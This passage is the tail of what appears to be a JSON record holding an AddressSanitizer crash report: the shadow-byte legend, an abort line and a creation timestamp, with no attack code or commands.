f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==9884==ABORTING", "creation_timestamp": "2026-09-21T03:36:10.840625Z"}